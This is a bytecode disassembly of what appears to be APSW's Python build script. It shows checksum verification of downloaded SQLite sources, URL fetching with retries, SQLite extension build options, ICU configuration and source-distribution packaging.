LOAD_FAST l LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST url COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST l LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_FAST d COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL write LOAD_CONST ' Checksums verified' CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST l LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST d LOAD_CONST 0 BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL write LOAD_CONST 'Length does not match. Expected' LOAD_FAST l LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'download was' LOAD_FAST d LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION POP_TOP LOAD_FAST l LOAD_CONST 2 BINARY_SUBSCR LOAD_FAST d LOAD_CONST 1 BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL write LOAD_CONST 'SHA256 does not match. Expected' LOAD_FAST l LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 'download was' LOAD_FAST d LOAD_CONST 1 BINARY_SUBSCR CALL_FUNCTION POP_TOP LOAD_FAST l LOAD_CONST 3 BINARY_SUBSCR LOAD_FAST d LOAD_CONST 2 BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL write LOAD_CONST 'SHA3_256 does not match. Expected' LOAD_FAST l LOAD_CONST 3 BINARY_SUBSCR LOAD_CONST 'download was' LOAD_FAST d LOAD_CONST 2 BINARY_SUBSCR CALL_FUNCTION POP_TOP LOAD_GLOBAL write LOAD_CONST 'The download does not match the checksums distributed with APSW.\nThe download should not have changed since the checksums were\ngenerated. The cause could be anything from network corruption\nto a malicious attack.' CALL_FUNCTION POP_TOP LOAD_GLOBAL ValueError LOAD_CONST 'Checksums do not match' CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL write LOAD_CONST ' (Not verified. No match in checksums file)' CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR missing_checksum_ok EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL ValueError LOAD_CONST 'No checksum available. Use --missing-checksum-ok option to continue' CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST l LOAD_FAST l LOAD_METHOD strip CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME urllib.request STORE_FAST urllib LOAD_FAST urllib LOAD_ATTR request LOAD_ATTR urlopen STORE_FAST urlopen LOAD_CONST 0 LOAD_CONST None IMPORT_NAME io STORE_FAST io LOAD_FAST io LOAD_ATTR BytesIO STORE_FAST bytesio LOAD_GLOBAL write LOAD_CONST ' Fetching' LOAD_FAST url CALL_FUNCTION POP_TOP LOAD_CONST 0 STORE_FAST count SETUP_LOOP to 238 SETUP_EXCEPT to 168 LOAD_FAST count POP_JUMP_IF_FALSE LOAD_GLOBAL write LOAD_CONST ' Try #' LOAD_GLOBAL str LOAD_FAST count LOAD_CONST 1 BINARY_ADD CALL_FUNCTION CALL_FUNCTION POP_TOP SETUP_EXCEPT to 88 LOAD_FAST urlopen LOAD_FAST url CALL_FUNCTION LOAD_METHOD read CALL_METHOD STORE_FAST page POP_BLOCK JUMP_FORWARD to 162 POP_TOP POP_TOP POP_TOP LOAD_GLOBAL sys LOAD_METHOD exc_info CALL_METHOD LOAD_CONST 1 BINARY_SUBSCR STORE_FAST e LOAD_FAST count LOAD_CONST 4 COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_FAST url LOAD_METHOD startswith LOAD_CONST 'https:' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL write LOAD_CONST ' [Python has https issues? - using http instead]' CALL_FUNCTION POP_TOP LOAD_FAST urlopen LOAD_FAST url LOAD_METHOD replace LOAD_CONST 'https://' LOAD_CONST 'http://' CALL_METHOD CALL_FUNCTION LOAD_METHOD read CALL_METHOD STORE_FAST page JUMP_FORWARD to 156 RAISE_VARARGS POP_EXCEPT JUMP_FORWARD to 162 END_FINALLY BREAK_LOOP POP_BLOCK JUMP_ABSOLUTE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL write LOAD_CONST ' Error ' LOAD_GLOBAL str LOAD_GLOBAL sys LOAD_METHOD exc_info CALL_METHOD LOAD_CONST 1 BINARY_SUBSCR CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL time LOAD_METHOD sleep LOAD_CONST 3.14 LOAD_FAST count BINARY_MULTIPLY CALL_METHOD POP_TOP LOAD_FAST count LOAD_CONST 1 INPLACE_ADD STORE_FAST count LOAD_FAST count LOAD_CONST 10 COMPARE_OP >= POP_JUMP_IF_FALSE RAISE_VARARGS POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_FAST text POP_JUMP_IF_FALSE LOAD_FAST page LOAD_METHOD decode LOAD_CONST 'iso8859_1' CALL_METHOD STORE_FAST page LOAD_FAST checksum EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD verifyurl LOAD_FAST url LOAD_FAST page CALL_METHOD POP_TOP LOAD_FAST text EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST bytesio LOAD_FAST page CALL_FUNCTION STORE_FAST page LOAD_FAST page RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'apsw_build' STORE_NAME __qualname__ LOAD_NAME bparent LOAD_ATTR user_options LOAD_CONST ('enable=', None, 'Enable SQLite options (comma separated list)') LOAD_CONST ('omit=', None, 'Omit SQLite functionality (comma separated list)') LOAD_CONST ('enable-all-extensions', None, 'Enable all SQLite extensions') LOAD_CONST ('fetch', None, 'Fetches SQLite for pypi based build') BUILD_LIST BINARY_ADD STORE_NAME user_options LOAD_NAME bparent LOAD_ATTR boolean_options LOAD_CONST 'enable-all-extensions' LOAD_CONST 'fetch' BUILD_LIST BINARY_ADD STORE_NAME boolean_options LOAD_CONST <code object __init__ at 0x7fab41ece300, file "f.py", line 448> LOAD_CONST 'apsw_build.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object initialize_options at 0x7fab41ece810, file "f.py", line 452> LOAD_CONST 'apsw_build.initialize_options' MAKE_FUNCTION STORE_NAME initialize_options LOAD_CONST <code object finalize_options at 0x7fab41ece780, file "f.py", line 460> LOAD_CONST 'apsw_build.finalize_options' MAKE_FUNCTION STORE_NAME finalize_options LOAD_CONST None RETURN_VALUE LOAD_FAST dist LOAD_FAST self STORE_ATTR _saved_dist LOAD_GLOBAL bparent LOAD_METHOD __init__ LOAD_FAST self LOAD_FAST dist CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL bparent LOAD_METHOD initialize_options LOAD_FAST self CALL_METHOD STORE_FAST v LOAD_CONST None LOAD_FAST self STORE_ATTR enable LOAD_CONST None LOAD_FAST self STORE_ATTR omit LOAD_GLOBAL build_enable_all_extensions LOAD_FAST self STORE_ATTR enable_all_extensions LOAD_CONST False LOAD_FAST self STORE_ATTR fetch LOAD_FAST v RETURN_VALUE LOAD_FAST self LOAD_ATTR enable STORE_GLOBAL build_enable LOAD_FAST self LOAD_ATTR omit STORE_GLOBAL build_omit LOAD_FAST self LOAD_ATTR enable_all_extensions STORE_GLOBAL build_enable_all_extensions LOAD_FAST self LOAD_ATTR fetch POP_JUMP_IF_FALSE LOAD_GLOBAL fetch LOAD_FAST self LOAD_ATTR _saved_dist CALL_FUNCTION STORE_FAST fc LOAD_FAST fc LOAD_METHOD initialize_options CALL_METHOD POP_TOP LOAD_CONST True LOAD_FAST fc STORE_ATTR all LOAD_FAST fc LOAD_METHOD finalize_options CALL_METHOD POP_TOP LOAD_FAST fc LOAD_METHOD run CALL_METHOD POP_TOP LOAD_GLOBAL bparent LOAD_METHOD finalize_options LOAD_FAST self CALL_METHOD RETURN_VALUE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD dirname LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD abspath LOAD_GLOBAL __file__ CALL_METHOD CALL_METHOD LOAD_CONST 'sqlite3.c' CALL_METHOD LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD dirname LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD abspath LOAD_GLOBAL __file__ CALL_METHOD CALL_METHOD LOAD_CONST 'sqlite3' LOAD_CONST 'sqlite3.c' CALL_METHOD BUILD_TUPLE STORE_FAST amalgamation SETUP_LOOP to 92 LOAD_FAST amalgamation GET_ITER FOR_ITER to 90 STORE_FAST path LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD exists LOAD_FAST path CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST path RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pathlib LOAD_METHOD Path LOAD_CONST 'apsw/__init__.pyi' CALL_METHOD LOAD_ATTR read_text LOAD_CONST 'utf8' LOAD_CONST ('encoding',) CALL_FUNCTION STORE_FAST stubs BUILD_LIST STORE_FAST new_stubs SETUP_LOOP to 100 LOAD_FAST stubs LOAD_METHOD split LOAD_CONST '\n' CALL_METHOD GET_ITER FOR_ITER to 98 STORE_FAST line LOAD_FAST line LOAD_METHOD endswith LOAD_CONST '## OLD-NAME' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST include_old LOAD_FAST line LOAD_METHOD startswith LOAD_CONST '#' CALL_METHOD COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST include_old POP_JUMP_IF_TRUE LOAD_CONST '#' LOAD_FAST line BINARY_ADD JUMP_FORWARD to 84 LOAD_FAST line LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST line LOAD_FAST new_stubs LOAD_METHOD append LOAD_FAST line CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST '\n' LOAD_METHOD join LOAD_FAST new_stubs CALL_METHOD STORE_FAST new_stubs LOAD_FAST new_stubs LOAD_FAST stubs COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL print LOAD_CONST 'Updating type stubs to' LOAD_FAST include_old POP_JUMP_IF_FALSE LOAD_CONST 'include' JUMP_FORWARD to 132 LOAD_CONST 'exclude' LOAD_CONST 'old names' CALL_FUNCTION POP_TOP LOAD_GLOBAL pathlib LOAD_METHOD Path LOAD_CONST 'apsw/__init__.pyi' CALL_METHOD LOAD_ATTR write_text LOAD_FAST new_stubs LOAD_CONST 'utf8' LOAD_CONST ('encoding',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'apsw_build_ext' STORE_NAME __qualname__ LOAD_NAME beparent LOAD_ATTR user_options LOAD_CONST ('enable=', None, 'Enable SQLite options (comma separated list)') LOAD_CONST ('omit=', None, 'Omit SQLite functionality (comma separated list)') LOAD_CONST ('enable-all-extensions', None, 'Enable all SQLite extensions') LOAD_CONST ('use-system-sqlite-config', None, 'Uses system SQLite library config (enabled/omitted APIs etc)') LOAD_CONST ('definevalues=', None, 'Additional defines eg --definevalues SQLITE_MAX_ATTACHED=37,SQLITE_EXTRA_INIT=mycore_init') LOAD_CONST ('apsw-no-old-names', None, 'Old non-PEP8 names are excluded') BUILD_LIST BINARY_ADD STORE_NAME user_options LOAD_NAME beparent LOAD_ATTR boolean_options LOAD_CONST 'enable-all-extensions' LOAD_CONST 'use-system-sqlite-config' LOAD_CONST 'apsw-no-old-names' BUILD_LIST BINARY_ADD STORE_NAME boolean_options LOAD_CONST <code object initialize_options at 0x7fab41ece6f0, file "f.py", line 530> LOAD_CONST 'apsw_build_ext.initialize_options' MAKE_FUNCTION STORE_NAME initialize_options LOAD_CONST <code object finalize_options at 0x7fab41ece660, file "f.py", line 540> LOAD_CONST 'apsw_build_ext.finalize_options' MAKE_FUNCTION STORE_NAME finalize_options LOAD_CONST <code object run at 0x7fab41eceae0, file "f.py", line 700> LOAD_CONST 'apsw_build_ext.run' MAKE_FUNCTION STORE_NAME run LOAD_CONST None RETURN_VALUE LOAD_GLOBAL beparent LOAD_METHOD initialize_options LOAD_FAST self CALL_METHOD STORE_FAST v LOAD_GLOBAL build_enable LOAD_FAST self STORE_ATTR enable LOAD_GLOBAL build_omit LOAD_FAST self STORE_ATTR omit LOAD_GLOBAL build_enable_all_extensions LOAD_FAST self STORE_ATTR enable_all_extensions LOAD_CONST None LOAD_FAST self STORE_ATTR definevalues LOAD_CONST False LOAD_FAST self STORE_ATTR use_system_sqlite_config LOAD_CONST False LOAD_FAST self STORE_ATTR apsw_no_old_names LOAD_FAST v RETURN_VALUE LOAD_GLOBAL beparent LOAD_METHOD finalize_options LOAD_FAST self CALL_METHOD STORE_FAST v LOAD_FAST self LOAD_ATTR enable_all_extensions POP_JUMP_IF_FALSE LOAD_CONST 'fts4' LOAD_CONST 'fts3' LOAD_CONST 'fts3_parenthesis' LOAD_CONST 'rtree' LOAD_CONST 'stat4' LOAD_CONST 'fts5' LOAD_CONST 'rbu' LOAD_CONST 'geopoly' LOAD_CONST 'math_functions' BUILD_LIST STORE_FAST exts LOAD_FAST self LOAD_ATTR omit POP_JUMP_IF_FALSE LOAD_CONST 'icu' LOAD_FAST self LOAD_ATTR omit LOAD_METHOD split LOAD_CONST ',' CALL_METHOD COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL get_icu_config CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST exts LOAD_METHOD append LOAD_CONST 'icu' CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR enable POP_JUMP_IF_TRUE LOAD_CONST ',' LOAD_METHOD join LOAD_FAST exts CALL_METHOD LOAD_FAST self STORE_ATTR enable JUMP_FORWARD to 118 LOAD_FAST self LOAD_ATTR enable LOAD_CONST ',' BINARY_ADD LOAD_CONST ',' LOAD_METHOD join LOAD_FAST exts CALL_METHOD BINARY_ADD LOAD_FAST self STORE_ATTR enable LOAD_FAST self LOAD_ATTR extensions LOAD_CONST 0 BINARY_SUBSCR STORE_FAST ext LOAD_FAST ext LOAD_ATTR define_macros POP_JUMP_IF_TRUE BUILD_LIST LOAD_FAST ext STORE_ATTR define_macros LOAD_FAST ext LOAD_ATTR depends POP_JUMP_IF_TRUE BUILD_LIST LOAD_FAST ext STORE_ATTR depends LOAD_FAST ext LOAD_ATTR include_dirs POP_JUMP_IF_TRUE BUILD_LIST LOAD_FAST ext STORE_ATTR include_dirs LOAD_FAST ext LOAD_ATTR library_dirs POP_JUMP_IF_TRUE BUILD_LIST LOAD_FAST ext STORE_ATTR library_dirs LOAD_FAST ext LOAD_ATTR libraries POP_JUMP_IF_TRUE BUILD_LIST LOAD_FAST ext STORE_ATTR libraries LOAD_FAST self LOAD_ATTR apsw_no_old_names POP_JUMP_IF_FALSE LOAD_FAST ext LOAD_ATTR define_macros LOAD_METHOD append LOAD_CONST ('APSW_OMIT_OLD_NAMES', '1') CALL_METHOD POP_TOP LOAD_GLOBAL update_type_stubs_old_names LOAD_FAST self LOAD_ATTR apsw_no_old_names UNARY_NOT LOAD_CONST ('include_old',) CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR definevalues EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 302 LOAD_FAST self LOAD_ATTR definevalues LOAD_METHOD split LOAD_CONST ',' CALL_METHOD GET_ITER FOR_ITER to 300 STORE_FAST define LOAD_FAST define LOAD_METHOD split LOAD_CONST '=' LOAD_CONST 1 CALL_METHOD STORE_FAST define LOAD_GLOBAL len LOAD_FAST define CALL_FUNCTION LOAD_CONST 2 COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST define LOAD_METHOD append LOAD_CONST '1' CALL_METHOD POP_TOP LOAD_FAST ext LOAD_ATTR define_macros LOAD_METHOD append LOAD_GLOBAL tuple LOAD_FAST define CALL_FUNCTION CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR debug EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ext LOAD_ATTR define_macros LOAD_METHOD append LOAD_CONST ('APSW_NO_NDEBUG', '1') CALL_METHOD POP_TOP LOAD_FAST ext LOAD_ATTR define_macros LOAD_METHOD append LOAD_CONST ('APSW_TESTFIXTURES', '1') CALL_METHOD POP_TOP LOAD_FAST ext LOAD_ATTR define_macros LOAD_METHOD append LOAD_CONST ('SQLITE_DEBUG', '1') CALL_METHOD POP_TOP JUMP_FORWARD to 360 LOAD_FAST ext LOAD_ATTR define_macros LOAD_METHOD append LOAD_CONST ('NDEBUG', '1') CALL_METHOD POP_TOP LOAD_GLOBAL hasattr LOAD_GLOBAL os LOAD_CONST 'fork' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ext LOAD_ATTR define_macros LOAD_METHOD append LOAD_CONST ('APSW_FORK_CHECKER', '1') CALL_METHOD POP_TOP LOAD_GLOBAL findamalgamation CALL_FUNCTION STORE_FAST path LOAD_FAST path EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ext LOAD_ATTR define_macros LOAD_METHOD append LOAD_CONST ('APSW_USE_SQLITE_AMALGAMATION', '1') CALL_METHOD POP_TOP LOAD_FAST ext LOAD_ATTR include_dirs LOAD_METHOD insert LOAD_CONST 0 LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD dirname LOAD_FAST path CALL_METHOD CALL_METHOD POP_TOP LOAD_GLOBAL write LOAD_CONST 'SQLite: Using amalgamation' LOAD_FAST path CALL_FUNCTION POP_TOP JUMP_FORWARD to 616 LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD dirname LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD abspath LOAD_GLOBAL __file__ CALL_METHOD CALL_METHOD LOAD_CONST 'sqlite3' CALL_METHOD STORE_FAST sqlite3_dir LOAD_CONST False STORE_FAST inc LOAD_FAST self LOAD_ATTR use_system_sqlite_config EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL set_config_from_system LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST sqlite3_dir LOAD_CONST 'sqlite3config.h' CALL_METHOD CALL_FUNCTION POP_TOP LOAD_CONST True STORE_FAST inc LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isdir LOAD_FAST sqlite3_dir CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_GLOBAL glob LOAD_METHOD glob LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST sqlite3_dir LOAD_CONST '*' CALL_METHOD CALL_METHOD CALL_FUNCTION LOAD_CONST 3 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL write LOAD_CONST 'SQLite: Using include/libraries in sqlite3 subdirectory' CALL_FUNCTION POP_TOP LOAD_CONST True STORE_FAST inc LOAD_FAST ext LOAD_ATTR library_dirs LOAD_METHOD append LOAD_GLOBAL d CALL_METHOD POP_TOP JUMP_FORWARD to 584 LOAD_GLOBAL write LOAD_CONST 'SQLite: Using system sqlite include/libraries' CALL_FUNCTION POP_TOP LOAD_FAST inc EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ext LOAD_ATTR include_dirs LOAD_METHOD insert LOAD_CONST 0 LOAD_FAST sqlite3_dir CALL_METHOD POP_TOP LOAD_FAST ext LOAD_ATTR libraries LOAD_METHOD append LOAD_CONST 'sqlite3' CALL_METHOD POP_TOP LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST ext LOAD_ATTR include_dirs LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'sqlite3config.h' CALL_METHOD STORE_FAST s3config LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD exists LOAD_FAST s3config CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL write LOAD_CONST 'SQLite: Using generated ' LOAD_FAST s3config FORMAT_VALUE BUILD_STRING CALL_FUNCTION POP_TOP LOAD_FAST ext LOAD_ATTR define_macros LOAD_METHOD append LOAD_CONST ('APSW_USE_SQLITE_CONFIG', '1') CALL_METHOD POP_TOP LOAD_CONST False STORE_FAST addicuinclib LOAD_FAST self LOAD_ATTR enable EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 854 LOAD_FAST self LOAD_ATTR enable LOAD_METHOD split LOAD_CONST ',' CALL_METHOD GET_ITER FOR_ITER to 852 STORE_FAST e LOAD_FAST e LOAD_METHOD strip CALL_METHOD STORE_FAST e LOAD_FAST ext LOAD_ATTR define_macros LOAD_METHOD append LOAD_CONST 'SQLITE_ENABLE_' LOAD_FAST e LOAD_METHOD upper CALL_METHOD BINARY_ADD LOAD_CONST 1 BUILD_TUPLE CALL_METHOD POP_TOP LOAD_FAST e LOAD_METHOD upper CALL_METHOD LOAD_CONST 'ICU' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST addicuinclib JUMP_FORWARD to 778 LOAD_GLOBAL os LOAD_METHOD putenv LOAD_CONST 'APSW_TEST_' LOAD_FAST e LOAD_METHOD upper CALL_METHOD BINARY_ADD LOAD_CONST '1' CALL_METHOD POP_TOP LOAD_CONST '_' LOAD_FAST e LOAD_METHOD lower CALL_METHOD COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'memsys' LOAD_FAST e LOAD_METHOD lower CALL_METHOD COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST e LOAD_METHOD lower CALL_METHOD LOAD_CONST ('fts4', 'fts3', 'rtree', 'icu', 'iotrace', 'stat2', 'stat3', 'stat4', 'dbstat_vtab', 'fts5', 'json1', 'rbu', 'geopoly') COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL write LOAD_CONST 'Unknown enable ' LOAD_FAST e BINARY_ADD LOAD_GLOBAL sys LOAD_ATTR stderr CALL_FUNCTION POP_TOP LOAD_GLOBAL ValueError LOAD_CONST 'Bad enable ' LOAD_FAST e BINARY_ADD CALL_FUNCTION RAISE_VARARGS EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR omit EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 918 LOAD_FAST self LOAD_ATTR omit LOAD_METHOD split LOAD_CONST ',' CALL_METHOD GET_ITER FOR_ITER to 916 STORE_FAST e LOAD_FAST e LOAD_METHOD strip CALL_METHOD STORE_FAST e LOAD_FAST ext LOAD_ATTR define_macros LOAD_METHOD append LOAD_CONST 'SQLITE_OMIT_' LOAD_FAST e LOAD_METHOD upper CALL_METHOD BINARY_ADD LOAD_CONST 1 BUILD_TUPLE CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST addicuinclib EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL get_icu_config CALL_FUNCTION STORE_FAST icc LOAD_FAST icc EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'posix' LOAD_CONST False BUILD_MAP STORE_FAST kwargs SETUP_LOOP to 1078 LOAD_GLOBAL shlex LOAD_ATTR split LOAD_FAST icc LOAD_ATTR cflags BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION GET_ITER FOR_ITER to 1076 STORE_FAST part LOAD_FAST part LOAD_METHOD startswith LOAD_CONST '-I' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ext LOAD_ATTR include_dirs LOAD_METHOD append LOAD_FAST part LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR CALL_METHOD POP_TOP JUMP_FORWARD to 1072 LOAD_FAST part LOAD_METHOD startswith LOAD_CONST '-D' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST part LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST part LOAD_CONST '=' LOAD_FAST part COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL tuple LOAD_FAST part LOAD_METHOD split LOAD_CONST '=' LOAD_CONST 1 CALL_METHOD CALL_FUNCTION STORE_FAST part JUMP_FORWARD to 1060 LOAD_FAST part LOAD_CONST '1' BUILD_TUPLE STORE_FAST part LOAD_FAST ext LOAD_ATTR define_macros LOAD_METHOD append LOAD_FAST part CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 1172 LOAD_GLOBAL shlex LOAD_ATTR split LOAD_FAST icc LOAD_ATTR ldflags BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION GET_ITER FOR_ITER to 1170 STORE_FAST part LOAD_FAST part LOAD_METHOD startswith LOAD_CONST '-L' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ext LOAD_ATTR library_dirs LOAD_METHOD append LOAD_FAST part LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR CALL_METHOD POP_TOP JUMP_FORWARD to 1166 LOAD_FAST part LOAD_METHOD startswith LOAD_CONST '-l' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ext LOAD_ATTR libraries LOAD_METHOD append LOAD_FAST part LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL write LOAD_CONST 'ICU: Added includes, flags and libraries from ' LOAD_FAST icc LOAD_ATTR tool BINARY_ADD CALL_FUNCTION POP_TOP LOAD_GLOBAL os LOAD_METHOD putenv LOAD_CONST 'APSW_TEST_ICU' LOAD_CONST '1' CALL_METHOD POP_TOP JUMP_FORWARD to 1208 LOAD_GLOBAL write LOAD_CONST 'ICU: Unable to determine includes/libraries for ICU using pkg-config or icu-config' CALL_FUNCTION POP_TOP LOAD_FAST v RETURN_VALUE LOAD_GLOBAL beparent LOAD_METHOD run LOAD_FAST self CALL_METHOD STORE_FAST v LOAD_FAST v RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'apsw_sdist' STORE_NAME __qualname__ LOAD_NAME sparent LOAD_ATTR user_options LOAD_CONST ('add-doc', None, 'Includes built documentation from doc/build/html into source') LOAD_CONST ('for-pypi', None, 'Configure for pypi distribution') BUILD_LIST BINARY_ADD STORE_NAME user_options LOAD_NAME sparent LOAD_ATTR boolean_options LOAD_CONST 'add-doc' LOAD_CONST 'for-pypi' BUILD_LIST BINARY_ADD STORE_NAME boolean_options LOAD_CONST <code object initialize_options at 0x7fab41eceb70, file "f.py", line 720> LOAD_CONST 'apsw_sdist.initialize_options' MAKE_FUNCTION STORE_NAME initialize_options LOAD_CONST <code object run at 0x7fab41ece8a0, file "f.py", line 728> LOAD_CONST 'apsw_sdist.run' MAKE_FUNCTION STORE_NAME run LOAD_CONST None RETURN_VALUE LOAD_GLOBAL sparent LOAD_METHOD initialize_options LOAD_FAST self CALL_METHOD POP_TOP LOAD_CONST False LOAD_FAST self STORE_ATTR add_doc LOAD_CONST False LOAD_FAST self STORE_ATTR for_pypi LOAD_CONST False LOAD_FAST self STORE_ATTR use_defaults LOAD_CONST True LOAD_FAST self STORE_ATTR force_manifest LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR for_pypi POP_JUMP_IF_FALSE LOAD_CONST 'pypi' JUMP_FORWARD to 12 LOAD_CONST 'default' STORE_FAST cfg LOAD_GLOBAL shutil LOAD_METHOD copy2 LOAD_CONST 'tools/setup-' LOAD_FAST cfg FORMAT_VALUE LOAD_CONST '.cfg' BUILD_STRING LOAD_CONST 'setup.apsw' CALL_METHOD POP_TOP LOAD_GLOBAL sparent LOAD_METHOD run LOAD_FAST self CALL_METHOD STORE_FAST v LOAD_FAST self LOAD_ATTR add_doc POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_GLOBAL list LOAD_GLOBAL help_walker LOAD_CONST '' CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION LOAD_CONST 20 COMPARE_OP < POP_JUMP_IF_FALSE LOAD_GLOBAL Exception LOAD_CONST 'The help is not built' CALL_FUNCTION RAISE_VARARGS SETUP_LOOP to 112 LOAD_FAST self LOAD_METHOD get_archive_files CALL_METHOD GET_ITER FOR_ITER to 110 STORE_FAST archive LOAD_GLOBAL add_doc LOAD_FAST archive LOAD_FAST self LOAD_ATTR distribution LOAD_METHOD get_fullname CALL_METHOD CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST v RETURN_VALUE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME ctypes STORE_FAST ctypes LOAD_CONST 0 LOAD_CONST None IMPORT_NAME ctypes.util STORE_FAST ctypes SETUP_EXCEPT to 32 LOAD_GLOBAL os LOAD_METHOD remove LOAD_FAST outputfilename CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 52 DUP_TOP LOAD_GLOBAL FileNotFoundError COMPARE_OP exception match 